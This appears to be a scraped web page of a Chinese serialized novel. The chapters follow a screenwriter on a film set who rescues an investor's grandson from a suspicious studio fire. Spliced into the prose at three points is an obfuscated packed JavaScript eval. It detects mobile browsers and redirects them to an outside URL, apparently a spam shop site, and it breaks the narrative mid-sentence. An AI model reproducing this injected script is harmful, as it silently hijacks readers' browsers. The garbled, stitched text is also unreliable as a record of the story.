《小导演》 1. 小编剧 监视器里,男人的眼泪落得毫无征兆。 他直挺挺地站着,嘴角抽搐两下,眼眶突然红了,泪珠大颗大颗往下滚。 没有前奏,没有过渡,像被人突然按了开关。 “咔!” 导演王海平的声音从对讲机里传出来,带着点敷衍的满意。 棚里窸窸窣窣响起松气的声音。 场务小跑着递上纸巾,男演员江琛接过,仔细擦了擦眼角,转头问导演。 “王导,这条情绪够吗?” “够够够,”王海平摆手,“休息十分钟。” 温清水合上手里的剧本。 纸页的边缘已经磨得发毛。 江琛被助理簇拥着往休息区走,路过她时带起一阵风,空气里有昂贵的香水味。 温清水把剧本抱在胸前。 没有抬头看。 “放饭了——!” 剧务扯着嗓子喊。 人群像退潮一样往棚外涌。 江琛上了那辆白色的房车,车门关上,帘子拉得严实。 温清水在放器材的木箱上坐下,掀开那份塑料盒饭。 凉透的米饭结着油块,青菜蔫黄地贴在格子里,一块红烧肉浮着白腻的油光。 她掰开一次性筷子,听见有人喊她。 “温编。” 副导演老陈站在棚口,朝她招手,“王导让你过去一趟,房车上。” 房车空调开得足,和外面寒冷的冬天像是两个世界。 王海平盘腿坐在小桌对面,面前摆着两盒还冒热气的便当。 是鳗鱼饭,在剧组粗糙的简餐衬托下显得格外精致。 他推了一盒到温清水面前。 “坐。” 温清水没动那盒饭,只是坐下,手放在膝盖上。 “这几天辛苦,”王海平扒了口饭,含糊地说,“剧本整体不错,就是有些细节……” 他顿了顿,抽出纸巾擦了擦嘴。 “第四十二场,江琛那段哭戏,得改。” 温清水抬起头,略带疑惑地看向他。 “他经纪人早上来找过我,”王海平喝了口茶,眼睛没看她。 “她说江琛最近在综艺里立的是‘硬汉’人设,剧本里那段崩溃大哭的戏,不太符合。希望改成忍着不哭,最好背对镜头,肩膀抖一抖就行。” 车厢里安静了一会儿,只有空调嗡嗡地响。 温清水看着桌上那盒鳗鱼饭里反光的酱汁,轻轻“嗯”了一声。 “我知道你写那段花了心思,”王海平的声音低了些,“但你也明白,咱们这剧三个月拍完,平台等着播,投资方要看流量,有些事,我也没办法。” “我明白您的意思。”温清水回答。 “改完晚上发我邮箱就行,不用大动。” “好。”她应声同意。 她从房车上下来时,外面的天已经蒙上一层灰蓝。 剧组还在赶夜戏,灯光把半个棚照得惨白。 温清水没回棚里。 她背着包走出影视基地,在街角的花店买了一束白桔梗。 店主用牛皮纸包好,递给她时说了句“这花开得正好”。 医院走廊的消毒水味永远混着一种衰败的甜。 温清水推开病房门,床头监护仪发出规律的滴答声。 她把花插进窗边的玻璃瓶,在床边的椅子上坐下。 桑晚躺在那里,和三个月前没什么不同。 头发被护工梳得整齐,嘴唇有一点干,但脸色还算好。 窗外的暮色透过百叶窗,在她脸上映出恍惚的光影。 “今天剧组又改戏了。” 温清水的声音很轻,像怕吵醒什么。 “第四十二场,我本来写了他跪下来哭,现在改成站着,连脸都不用露。” 她顿了顿,伸手理了理桑晚耳边的碎发,“你会骂我的吧。说我怂。” 监护仪的绿线平稳地爬过屏幕。 “但我还得写下去,”温清水继续说,声音更轻了,“得在这个圈子里待下去。待下去,才有更多机会。” 她伸手替桑晚掖了掖被角。 窗外的天色完全暗了,城市灯火一盏盏亮起来。 温清水在病房里坐了一个小时,起身时腿有些麻。 她走到门口,又回头看了一眼。 桑晚安静地睡着,好像连胸口的起伏都看不到。 手机在口袋里震动。 温清水走到电梯口才拿出来看,是那个私人侦探发来的消息。 一个没有头像的陌生号码。 “司机李海城的妻子,三年前在老家买了一套房,全款。儿子去年出国念书,中介费就交了三十万。” 电梯门开了,里面空无一人。 温清水走进去,指尖在屏幕上悬了一会儿,打字:“资金来源能查吗?” 对方回得很快:“难。但李海城死后,他妻子账户分三次收到境外汇款,加起来四百多万。警方当年定性普通肇事逃逸,没往深了查。” 电梯下到一楼,门开时灌进来夏夜湿热的风。 温清水站在医院门口,看着那条信息,很久没动。 “继续查。”她最终回复。 “得加钱。” “月底给你。” 她回复得干脆。 对方没再回。 温清水把手机放回口袋,沿着人行道慢慢走。 路灯把她的影子拉长又缩短,周而复始。 房子在城东一个新小区,十二楼,一百二十平。 钥匙转动时,门内一片寂静。 温清水推开门,按下墙上的开关,暖黄色的灯光洒下来。 客厅的布置很简单,米色的沙发,原木色的书架,墙上挂着几幅水墨画。 是当年和桑晚一起挑的。 阳台上的绿萝长得茂盛,垂下来的藤蔓几乎要触到地面。 温清水给自己煮了碗面,坐在餐桌前安静地吃完,洗了碗,擦干台面上的水渍。 书房的书架上塞满了剧本和电影理论书。 她打开电脑,屏幕亮起时映出她有些疲惫的脸。 《编剧的叙事结构》和《电影语言进阶》两个文件夹。 里面存着几十个G的课程视频,是这些年攒下来的。 她戴上耳机,点开最新一节。 讲师的声音从耳机里传出来,平稳又清晰,讲着三幕剧的变体结构。 温清水跟着记笔记,落笔声在安静的夜里格外清晰。 窗外的城市渐渐安静下来。 第二天剧组格外热闹。 温清水刚进棚,就看见一堆人围在导演椅那边,笑声一阵高过一阵。 执行导演老陈眼尖看见她,连忙招手。 “温编,快来,晏小少爷来探班了!” 人群中央,导演王海平半蹲着,正笑眯眯地和一个小男孩说话。 孩子大概五六岁,穿着定制的浅灰色小西装,头发梳成了背头,手里拿着个最新款的平板电脑。 “这是我们这部剧的编剧,温清水老师。”王海平介绍得格外正式。 小男孩抬起头,上下打量温清水一眼。 他的眼睛很亮,带着一种被宠惯了的审视。 “剧本我看了,”他说,声音稚嫩却有种莫名的老成,“第三集节奏太慢。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165530|196696||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 周围的人都笑起来,捧场地鼓掌。 “晏小少爷真厉害,这么小就会看剧本了!” “不愧是晏董的孙子,基因就是好!” 晏明泽——晏氏集团第三代唯一的男孙。 温清水昨晚查资料时看到过这个名字。 晏家早年做航运起家,后来垄断了沿海几个港口的物流,如今触角伸向金融、科技、文娱,盘根错节。 这部剧最大的投资方,就是晏氏旗下的星光传媒。 “命好。”旁边一个场务小声嘀咕,被她听见了。 温清水没说话,转身往监视器那边走。 今天拍第四十二场,是她昨晚改到凌晨三点的那场。 江琛已经就位,补光灯下他的脸轮廓分明。 场记板打响,他转身背对镜头,肩膀开始颤抖。 抖得很规律,像在数拍子。 “好!停!”王海平喊。 江琛瞬间收了表演,转头问导演,“王导,这条可以吗?” “可以可以,特别好,”王海平对着对讲机说,“情绪特别克制,高级!” 温清水坐在监视器侧后方的小凳上,看着屏幕里回放的画面。 男人背对镜头,肩膀抖动,确实很“硬汉”。 也很空洞。 她低头翻开剧本,自己写的那段批注还在。 [此处悲痛应压抑,通过肢体细微颤抖和呼吸变化呈现,重点要落在演员的表情上] 现在看来,显然背道而驰。 棚里的空调冷气开得很足,温清水却觉得有些闷。 她合上剧本,起身往棚外走。 正午的阳光白得刺眼,影视基地里到处都是忙碌的人群。 另一个棚在拍古装戏,穿着盔甲的群演蹲在树荫下吃盒饭,盔甲下露出湿透的短袖。 温清水站在阴影里,看着那片刺眼的光。 手机在口袋里震了一下。 她拿出来看,是那个侦探发来的新消息: “查到当年处理事故的交警,三年前提前退休,现在在海南买了别墅。” 后面附了张模糊的照片,一个中年男人在泳池边晒太阳,肚腩松弛。 温清水不小心滑到了上一张。 她盯着那张照片看了很久,直到屏幕自动熄灭,映出她自己模糊的脸。 是很久之前拍的。 桑晚站在一棵翠绿的杏树前,笑得眼睛弯成月牙。 她说,等我们有钱了,就买个带院子的大房子,种满院子的杏树,这样她就有很多杏子吃。 温清水熄了屏,把手机放回口袋。 棚里传来导演喊“下一场准备”的声音。 她转过身,重新走进那片人造的冷光里。 监视器屏幕上,新的场景正在搭建。 道具组搬来昂贵的实木家具,美术指导指挥着调整花瓶的角度。 一切都在为下一场“完美”的表演做准备。 温清水在自己的位置上坐下,翻开剧本。 笔尖悬在纸面上,停顿了很久。 最终落下去,划掉了另一段她曾坚持的描写。 划掉的墨水在纸面上晕开一小片。 像一滴没落下来的泪。 窗外,晏明泽被众人簇拥着上了黑色的宾利。 车门关上前,他回头朝剧组棚看了一眼,眼神干净又傲慢。 车开走了。 棚里,江琛又开始背台词,声音平静无波。 温清水低下头,继续改她的剧本。 笔尖划过纸面,沙沙地响。 一声,又一声。 像蚕在吃桑叶。 2. 出头 剧组的日子像设定好的程序,每天重复运行。 监视器里,林薇的眼泪依旧掉得又急又密。 江琛的崩溃还是直挺挺站着完成。 导演喊“咔”的声音带着相同的疲惫尾音。 温清水已经不太看监视器了。 她更多时候低着头,在剧本的边角写笔记。 那些红笔批注渐渐被黑色的字覆盖,像黑色的雪一层层盖住原本的地面。 午饭时间,场务推着餐车进来,塑料盒饭堆成小山。 温清水找了个角落坐下,掰开筷子。 米饭还是结着油块,青菜蔫黄。 她小口小口吃着,听见不远处响起争吵声。 “你眼睛长哪儿了?!这是你能坐的地方吗?!” 一个中年男人的声音,粗粝得像砂纸打磨木头。 温清水抬头看去。 场务老张正指着化妆组一个小姑娘的鼻子骂。 女孩二十出头,手里还捧着没吃完的盒饭,站在一个木箱旁边,脸色发白。 “对不起张老师,我、我不知道……”女孩声音很小,带着哭腔,“我生理期不太舒服,站着吃饭实在难受,看这里有个箱子就……” “箱子?”老张冷笑一声,“这是开工箱!你懂不懂规矩?!” 周围渐渐聚起人。 有人窃窃私语,有人摇头,但没人上前。 一个摄影师从温清水身边走过,她听见旁边有人问:“又怎么了?” “老生常谈,”摄影师耸耸肩,“小姑娘不懂事,坐了开工箱。” “还是太年轻。” 温清水放下筷子。 老张还在骂,唾沫星子几乎溅到女孩脸上,“你都来那个了还不干净,坐开工箱?剧组要是倒霉了谁负责?!啊?!” 女孩的眼泪掉了下来,一直鞠躬:“对不起对不起,我真不知道,我下次不敢了。” “还有下次?!”老张声音更高了。 温清水站起来,走了过去。 她拍了拍女孩的肩膀,女孩抬起泪眼看她,像抓住救命稻草。 温清水看向老张,声音平静,“张老师,小事而已,别太计较。” 老张看见是她,表情僵了一下。 编剧在剧组地位不高,但温清水毕竟挂着“编剧”的名头,王导偶尔还会找她商量事。 “温编,”他语气软了些,但还撑着面子,“这不是小事,这是规矩。你看她,还来那个。” 他没说下去,好像月经两个字真的是什么污秽的字眼。 “我知道。”温清水打断他。 “但规矩是规矩,不是法律。就算触犯了,也是无伤大雅的小事。” “无伤大雅?”老张瞪大眼睛,“她身上不干净!坐开工箱,剧组要倒大霉的!” “不干净?”温清水轻轻重复这个词,然后抬眼看他,“那您满身烟味坐箱子上抽烟的时候,怎么不想想烟味有多难闻?” 周围忽然安静了一瞬。 老张的脸涨红了,“我、我抽个烟怎么了?男人压力大还不能抽根烟了?!” 他把话题拔高,想要拉所有人站队。 温清水不想纠缠,只解释着。 “剧组最近有易燃道具,明文规定禁止吸烟。您贵人多忘事,我也好心提醒你。” 老张张了张嘴,没说出话。 人群外围忽然传来一阵骚动,有人让开路。 一个小小的身影钻了进来。 晏明泽仰着头,看了看哭着的女孩,又看了看老张,最后做了个夸张的干呕动作。 “昨天就闻到烟味了,”他的声音虽然稚嫩,但咬字清楚,“特别难闻。” 老张的脸色彻底白了。 晏家的孙子,投资方的小少爷。 他得罪不起。 “我、我以后注意……”老张讪讪地说完,转身就走,背影有些狼狈。 晏明泽从口袋里掏出张纸巾,踮脚递给女孩:“姐姐,别哭了。” 女孩接过,小声说谢谢。 男孩这才转头看温清水,上下打量她一眼,像在评估什么。 “你剧本写得一般,”他说,“但人还挺好。” 温清水愣了一下,然后无奈地笑了,“谢谢夸奖。” 事情很快传开。 但像所有八卦一样,传着传着就变了味。 最后大家讨论的不是女孩坐了开工箱,而是老张满身烟味被晏小少爷嫌弃。 下午场务组就来了通知,把老张调去后勤管仓库了。 女孩的处境没变好,但也没变坏。 只是吃饭时,她远远地看了温清水一眼,轻轻点了点头。 温清水也点了点头,然后继续低头吃她的盒饭。 下午拍的是雪景戏。 剧组在影视基地最北边的棚区搭了内景,人造雪铺了厚厚一层,鼓风机吹着泡沫屑。 这场戏很简单,男女主在雪地里散步,说些无关痛痒的情话。 林薇和江琛站在雪地里,说着干瘪的台词,情绪也没什么起伏。 王海平大概也觉得没劲,拍了三条就说过了,宣布提前收工。 “温编,”他走过来,“后面还有几场哭戏要改,你就在这儿改吧,安静。” 温清水点点头。 人都走光了,棚里只剩下她一个人。 鼓风机停了,人造雪不再飞舞,静静铺在地上,像一层廉价的糖霜。 她从包里拿出那几本《喜羊羊与灰太狼》的剧本分析,摊在桌上。 最近有个儿童剧项目在找编剧,她想试试。 看了没几页,门帘动了一下。 晏明泽钻了进来。 他穿着那身小西装,但领结松了些,头发也不再一丝不苟。 他好奇地环顾四周,目光最后落在温清水桌上的那几本书上。 “你看这个?”他问。 “研究一下。”温清水说。 晏明泽走过来,踮脚看了眼封面,撇撇嘴,“幼稚。” 但他没走,反而拉了把椅子过来,爬上去坐下,拿起一本翻起来。 棚里很安静,只有书页翻动的声音。 温清水继续改她的剧本。 她改掉一段哭戏,又改掉一段崩溃戏,把所有的激烈都磨平,磨成适合人设的也安全的弧度。 不知过了多久,她听见旁边传来均匀的呼吸声。 她转头看,晏明泽趴在了桌上,睡着了。 他的小手还压着那本《喜羊羊与灰太狼》,脸颊肉挤出来一点,睫毛长长地覆着。 温清水放下笔,从椅背上拿了件自己的薄外套,轻轻盖在他身上。 她喝了口水,继续改剧本。 最先闻到的是烟味。 不是香烟,是某种东西烧焦的味道,混着塑料融化的刺鼻气味。 温清水抬起头,皱了皱眉。 棚里没有明火,电器也都关了。 她以为是错觉,但味道越来越浓,开始往鼻子里钻。 她站起身,看向味道飘来的方向——棚子左侧的隔板缝隙。 有光。 不是灯光,是跳动的,橙红色的光,从缝隙里透进来,一闪一闪。 她快步走过去,靠近隔板。 热气已经透过来了,烤着脸颊。 她透过缝隙往外看。 旁边的棚子烧起来了,火舌舔着帆布棚顶,浓烟翻滚着往上涌。 隔着薄薄的隔板,她能听见噼里啪啦的燃烧声,像无数细小的爆炸。 老张? 这是她第一个念头。 下午的事,报复来得这么快。 但她立刻就否定了。 老张没那么大胆子,也没那么大本事。 火势蔓延得极快。 眨眼间,她这边的隔板也开始发烫,边缘泛起焦黑。 浓烟从缝隙里钻进来,灰白色的,带着死亡的气息。 “咳、咳咳……” 晏明泽被呛醒了,坐起身,茫然地四下看,然后看见了缝隙里的火光。 他呆住了。 温清水冲过去,一把抱起他。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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但她顾不上,先一把将晏明泽从破口推了出去。 小男孩滚到外面的空地上,湿外套散开,他趴在地上拼命咳嗽。 温清水正要跟着爬出去,头顶突然传来一声可怕的撕裂声。 她抬头。 棚顶的钢架被烧软了,正带着燃烧的帆布,朝她砸下来。 时间好像变慢了。 她能看见每一簇火焰的形状,钢架弯曲的呻吟在耳边。 她用尽最后一点力气,从那道破口滚了出去。 几乎同时,身后传来轰然巨响,整个棚顶塌了下来,火舌冲天而起。 热浪把她往前推了好几米,后背一阵灼痛。 她趴在地上,咳得撕心裂肺。 人造雪混着泥土粘在脸上,嘴里全是烟灰和血的味道。 “阿姨?” 小小的声音从旁边传来。 温清水勉强抬起头。 晏明泽跪坐在她身边,小脸上全是黑灰,只有眼睛还亮着。 他看着她,小手犹豫着,轻轻碰了碰她的肩膀。 “你流血了。”他说。 温清水这才感觉到,额头上温热的液体正往下流。 她抬手抹了一把,满手鲜红。 远处传来消防车的警笛声,尖锐地划破天空。 她撑起身子,坐起来,回头看向那片火海。 两个联排的棚子已经烧成了骨架,火舌还在往上窜,黑烟滚滚,遮住了半个天空。 消防车红蓝的光在远处闪烁,人影慌乱地跑来跑去。 像一场荒诞的梦。 晏明泽还看着她,眼睛睁得很大,像真的担心她会死掉。 温清水伸出手,轻轻摸了摸他的头。 “没事了。”她说,声音沙哑得不像自己。 她抬头,看向火场更远的方向,看向影视基地外那片繁华的城市。 有几滴血落在灰白的地面上,她低头看着。 这场火,来得太巧了。 巧到不像意外。 3. 命苦 医院病房的窗帘半拉着,下午的光斜切进来,在白色床单上洒下橘黄色的光。 温清水靠在床头,额角贴着一小块纱布。 医生说只是皮外伤,轻微脑震荡,观察两天就能走。 门被轻轻推开。 蔡妍提着果篮进来,看见她已经醒了,松了口气。 “你可算醒了,”她把果篮放在床头柜上,“听到消息的时候吓死我了。” 温清水笑了笑,没说话。 “听说棚子烧得什么都不剩了,”蔡妍在床边坐下,剥了个橘子,“幸亏你跑出来了,不然……” 她没说完,但意思很清楚。 “是挺险的。”温清水抬手摸了下额头上的纱布。 蔡妍递过来一瓣橘子,温清水摇摇头。 她自己吃了,边嚼边说:“也是巧,你上午刚跟老张吵完,说组里有易燃道具不能抽烟,下午就失火了。” 温清水转过头看她。 窗外的树影在风里晃动,叶子翻出枯黄的背面。 “警察立案了吗?”她问。 “立了,”蔡妍说,“消防来的,查了一圈,说是线路老化加上易燃物堆放,定性成意外事故了。剧组得赔钱,但人没事就算万幸。” 她顿了顿,又想起什么。 “对了,听说起火那会儿,晏小少爷的保镖本来都在棚子外头等着。结果后山不知道怎么也起了一小片火,他们就都跑去帮忙了。等火扑灭回来,这边棚子已经烧了大半了。” 温清水的手指在被子上轻轻蜷了一下。 “监控呢?”她追问。 “监控?”蔡妍笑了,“早就坏了。咱们剧组什么情况你又不是不知道,能省则省。” 病房里安静下来。 只有窗外隐约的车声,和走廊里护士推车经过的轱辘声。 温清水看着窗外那片晃动的树影,没说话。 蔡妍又坐了会儿,说了些剧组里的闲话,谁和谁又吵起来了,谁的戏又被删了。 临走前她拍拍温清水的手,“好好休息,别想太多。” 她刚走不久,门又被敲响了。 王海平带着制片主任和两个副导演进来,手里提着果篮和营养品。 VIP病房一下子显得有点挤。 “温编,感觉怎么样?”王海平把东西放下,语气比平时和缓许多。 “好多了,谢谢王导。”温清水轻声回答。 “这次多亏你反应快,”王海平在床边椅子坐下,其他人还站着,“要不是你,晏小少爷出点什么事,咱们整个组都得完。” 他这话说得直白,旁边制片主任赶紧补了句场面话,“主要还是人没事最重要,温编受惊了。” “剧本的事你先别操心,好好养伤,”王海平说,“组里进度我们调整,等你回来再说。” 温清水一一应了,道了谢。 几人又说了些关心话,待了不到十分钟便离开了。 病房重新安静下来。 温清水靠在床头,闭上眼。 额角的伤一跳一跳地疼,像有个小锤子在轻轻敲。 线路老化,易燃物堆放,意外事故。 每一个词都合理,合情,符合常理。 可连在一起,就透着一种过分的“恰好”。 她睁开眼,拿起床头的手机。 屏幕亮起,映出她没什么血色的脸。 她在搜索框里输入“晏海集团高层”。 页面跳出来。 董事长晏挽云的照片在最上面,六十岁上下,短发,眉眼锐利,穿着剪裁合身的深色西装。简介写得很简单:晏氏集团创始人,现任董事长。 下面列着几位副总裁和董事,名字和职位都清清楚楚。 再往下翻,是关于“晏氏继承人”的寥寥报道。 大儿子晏景谦,常年旅居海外,甚少露面,百科页面上只有一张多年前的模糊照片,底下连任职信息都没有。 媒体用的词是“淡出公众视野,专注个人生活”。 然后是二儿子,晏纪淮。 照片上的男人看起来三十出头,穿着熨帖的浅灰色衬衫,没打领带。 他戴了副银框眼镜,眉眼疏朗,对镜头微笑着。 职位那一行倒是很多字。 “晏氏集团战略投资部副总经理”,兼任旗下星光传媒的董事。 报道不多,大多是些商务活动的通稿,措辞谨慎,篇幅简短。 温清水盯着那张照片看了一会。 好像得不到有用信息,她退出页面,把手机放到一边。 头更疼了。 她重新躺下,看着天花板。 VIP病房的天花板很干净,没有裂纹,白得晃眼。 如果是冲着晏明泽来的,那一切都说得通。 调开保镖,制造混乱,一把火烧完一切。 可她呢。 一个不起眼的编剧,在错误的时间出现在了错误的地点。 像棋盘上一颗无关紧要的棋子,被顺手清理掉了。 温清水闭上眼,试图思索已知信息间的联系。 她再睁开眼时,窗外天色已经暗了。 想太多没用,还不如提升自己。 她坐起来,从包里拿出平板,点开文件夹。 讲师的声音从耳机里流出来,开始讲着叙事节奏的掌控。 她跟着记笔记,笔尖划过屏幕,声音很小,却让她难得地觉得安心。 三天后,温清水回到剧组。 棚区烧毁的那块已经用围挡拦了起来,但焦黑的骨架还在。 其他棚子照常运转,人来人往,好像那场火从未发生过。 温清水刚走到监视器附近,就听见王海平喊她。 “温编,来一下。” 导演棚里,王海平正看着分镜脚本,见她进来,指了指对面的椅子。 “坐。”他说,“伤没事了吧?” “没事了。”温清水坐下。 “那就好,”王海平合上脚本,往后靠进椅背里,“有件事得跟你说说。结局那场戏,得改。” 温清水看着他。 “从HE改成BE。”王海平说得很直接。 温清水沉默了两秒,开口时声音很平:“王导,如果是BE结局,前面很多人物弧光和剧情铺垫就完全没用了。而且整个剧本的基调都会变。” “我知道,”王海平笑了笑,那笑容里有种过来人的宽容。 “你是个有追求的编剧,你之前那部《春夜》我看了,大家都知道的小爆剧。但是温编,咱们得面对现实。” 他往前倾身,手肘撑在桌上。 “男女主的演技,你我都清楚。当初我找你,是看中剧本新鲜,有话题度。但现在拍到一半,效果怎么样,你也看到了。” 温清水舒出一口气,觉得头更疼了。 “我已经让步很多了,”她说,“哭戏改,爆发戏改,所有的情绪高点我都磨平了。现在连结局也要改吗。” “就是因为前面磨平了,结局才得有点波澜,”王海平点了根烟,深吸一口,“商业剧,前期靠流量和噱头拉热度,中期靠艺人团队自己炒,到了后期,如果不来点刺激的,观众就跑了。BE是最好的选择,有争议,有话题,能上热搜。” 温清水看着桌上那本被翻得卷边的剧本。 封面上印着剧名:《明日晴》。 她写的结局里,男女主在雨后的街道上散步,相视而笑。 天空放晴,阳光破云而出。 现在要改成什么,错过,死亡还是永不相见。 “我们不能试试吗?”她听见自己说,声音很轻,“就用原来的结局。” 王海平看着她,笑了。 那笑声很短,带着点嗤意,仿佛听见什么幼稚的话。 “你还是太年轻,”他说,“太天真。” 温清水的手指蜷在膝盖上,指甲掐进掌心。 很疼。 但她脸上没什么表情,只是点了点头。 “我改。” 从中午到傍晚,温清水没离开过那张小桌子。 她删掉了那场符合剧名的雨后散步,一对爱人经历过磨难又紧握在一起的手,在此刻分开。她写了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165532|196696||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一场车祸,在漫天纷飞的大雪里,有人永远没能开口告别。 胸口堵着一口气,她找不到落点,于是只能用大片的文字来发泄情绪。 写到最后一句时,窗外天色已经暗透了。 她保存文档,发送到王海平的邮箱。 她站起身时腿有点麻,于是扶着桌子缓了缓,才往导演棚走。 棚里灯火通明,林薇和江琛正坐在躺椅上休息,助理蹲在旁边给他们按摩肩膀。 王海平看着电脑屏幕,见她进来,抬了抬手。 “已经改完发您邮箱了。”温清水开口交代。 王海平点开邮件,快速扫了几眼,点点头,“这不挺好的吗?还是你有底子,改得快。” 林薇从躺椅上转过头,视线在温清水身上扫了一圈。 温清水今天穿了件简单的白色毛衣,黑色长裤,她额角的纱布已经拆了,留下一小块浅浅的结痂。 她本来就瘦,这几天下来,脸颊更清减了些。 “温编,”林薇开口,声音懒洋洋的,“你身材和我挺像的嘛。” 温清水看向她。 “下一场戏要个背影替身,”林薇笑了笑“要不你来?反正你也没事。” 旁边给她按摩肩膀的助理小声接话,“薇姐,别为难温编了,人家改剧本就够累了。” 周围几个人笑起来,笑声不大,但黏腻腻的,像糖浆。 温清水站在那儿,没说话。 她不是第一次遇到这种场面。 在这个圈子里,编剧的地位很微妙——既要靠你写出好东西,又觉得你不过是服务的工具。心情好了叫你一声“老师”,心情不好了,你就是个改稿的。 “王导,”她转向王海平,“如果没事,我先走了。” 王海平挥挥手:“回去吧,好好休息。” 温清水转身离开。 棚外的夜风很凉,吹在脸上,带走了一点窒闷感。 影视基地的路灯稀稀拉拉的,在地上投出一个个昏黄的光圈。 她沿着小路往外走,脑子里还在想刚才改的那场结局戏。 雪应该下得再大一点。 车灯应该更刺眼一点。 留给女主的遗言应该更短一点。 想着想着,她没注意前面拐角处停着辆黑色的车。 直到三个身影从暗处走出来,挡住了她的路。 温清水停下脚步。 三个男人,都穿着黑西装,身材高大,站姿笔挺。 中间那个往前一步,开口时声音很低:“温小姐,请跟我们走一趟。” 温清水脑子里第一个冒出来的念头是剧本改太多,被书粉线下真实了。 这个念头荒诞得让她自己都想笑。 但她没笑,只是冷静地问,“你们是谁?有什么事?” 男人没回答,只是侧身做了个“请”的手势。 温清水看了看他们,又看了看那辆车。 车窗贴着深色的膜,看不清里面。 她知道自己跑不掉。 或者说她不觉得自己身上有什么,值得别人这样大费周折地来绑架。 于是她往前走,男人替她拉开车门。 她弯腰坐进去,门在身后关上。 车内很宽敞,座椅是真皮的,散发着淡淡的木质香水味。 顶灯的光很柔和,照着浅色的内饰。 她正思考着能和豪车产生联系的人,旁边传来一个熟悉的声音,很稚嫩,但努力装得很严肃: “吓到了吗?” 温清水转过头。 晏明泽坐在对面的座椅上,穿着件浅粉色卫衣,他今天倒没有故意弄造型,简单的顺毛发型。 他看着她,眼睛亮晶晶的,像在等什么反应。 温清水看着他,看了足足三秒钟。 然后她开口,“有点。” 晏明泽得意地扬了扬下巴,“我就说这样出场比较有气势。” “确实。”温清水附和了一句,“你找我有事吗?” “有,”晏明泽把平板放到一边,坐直身子,“我奶奶想见你。” 4. 机会 车窗外,城市的灯火流淌成一条璀璨的河。 温清水安静地看着,那些楼宇在窗外,被拉成模糊的光带。 此行是福是祸,她心里没底。 或许是感谢,或许是审问。 感谢她救了晏明泽,或者,怀疑她与那场“恰好”的大火有关。 她当然希望是前者,但理智告诉她,后者的可能性并非为零。 车内很安静,只有轻微的引擎声和平板电脑里传出的略显年代感的动画配乐。 晏明泽蜷在对面宽敞的座椅里,抱着平板,看得聚精会神。 屏幕上是动画《虹猫蓝兔七侠传》的片段,虹猫为救苍生,忍痛将已到手的灵泉宝玉放回原处,自身剧毒发作,从山崖坠落。 很久之前的动画了,画面处理得并不精致,甚至有些粗糙,但那份牺牲与痛苦却好像透过屏幕,撞进了观看者的心里。 温清水看到晏明泽的小肩膀微微抽动了一下。 紧接着,细微的抽泣声在安静的车厢里响了起来。 晏明泽的眼泪滚出眼眶,有几滴砸在平板屏幕上。 他是真的为虹猫难过。 前排的助理立刻紧张地回过头,“小泽怎么了?哪里不舒服?” 晏明泽说不出话,只摇头,眼泪掉得更凶。 温清水的视线从窗外收回,落在平板的画面上,停留了两秒。 她很少与小孩相处,也很少安慰。 但此刻,某种关于童年记忆的柔软触角,轻轻探了出来。 “没事的。”她的声音不高,在低泣声中却显得清晰平静。 晏明泽抬起湿漉漉的眼,茫然地看她。 “后面的剧情里,”温清水指了指平板,语气是一种陈述事实的肯定,“蓝兔会拿到解药,救回他。” 抽泣声慢慢消了。 晏明泽睁大眼睛,睫毛上还挂着泪珠,“真的?” 那双眼睛太干净,盛着的难过和此刻涌起的希望都毫不掺假。 温清水点点头,认真地回答,“骗你是小狗。” 这幼稚的赌咒好像有奇效。 晏明泽眨了眨眼,泪水被挤落,但新的没再涌出。 他扁了扁嘴,鼻头还红着,看向温清水,“你也看过?” “嗯。”温清水点头,“小时候看的。那会儿还是漫画书。” “漫画书?”晏明泽显然对这个词很新奇,他暂时忘记了悲伤,好奇地问,“是那种一页一页的吗?” “对。”她认同。 “我能看看吗?你的漫画书。”他问得直接,眼里有期待的光。 温清水想了想。 那些书,她当年因为怕被弟弟胡乱剪坏,高考结束后就仔细打包带去了大学宿舍。 之后几次搬家,扔了许多东西,这几箱漫画却始终跟着她,从北到南。 它们确实旧了,边角卷起,纸页泛黄,带着时光的气味。 “书很旧了。”她如实说,“如果你家长同意你看的话。” “我奶奶肯定同意!”晏明泽立刻接口,脸上阴霾尽散,甚至漾开一个开心的笑。 他转向前排的助理,“刘阿姨,我要看温阿姨的漫画书。” 助理从后视镜里看了眼温清水,又看看瞬间雨过天晴的小少爷,心下权衡:连这种“老古董”动画都允许看,几本旧漫画自然无妨。 即便真的拿来,她也会先仔细检查,确保无虞。 “当然可以。”她微笑着应下,语气温和。 “你听到了吧?”晏明泽转向温清水,带着点小小的得意。 “听到了。”温清水补充,“那些书可能比你年纪还大。” 晏明泽更惊讶了,眼睛瞪得圆圆的,“真的吗?太好了!” 他的快乐如此简单而充沛,“我能读比我年纪还大的书!” 孩子的情绪像六月的天,哭和笑都来得纯粹。 车厢内的气氛不知不觉松弛下来。 温清水看着窗外不断后退的街景,心底那根因未知而绷紧的弦,似乎也稍稍松了一丝。 车驶入市中心最繁华的区域,最终停在一座摩天楼群前。 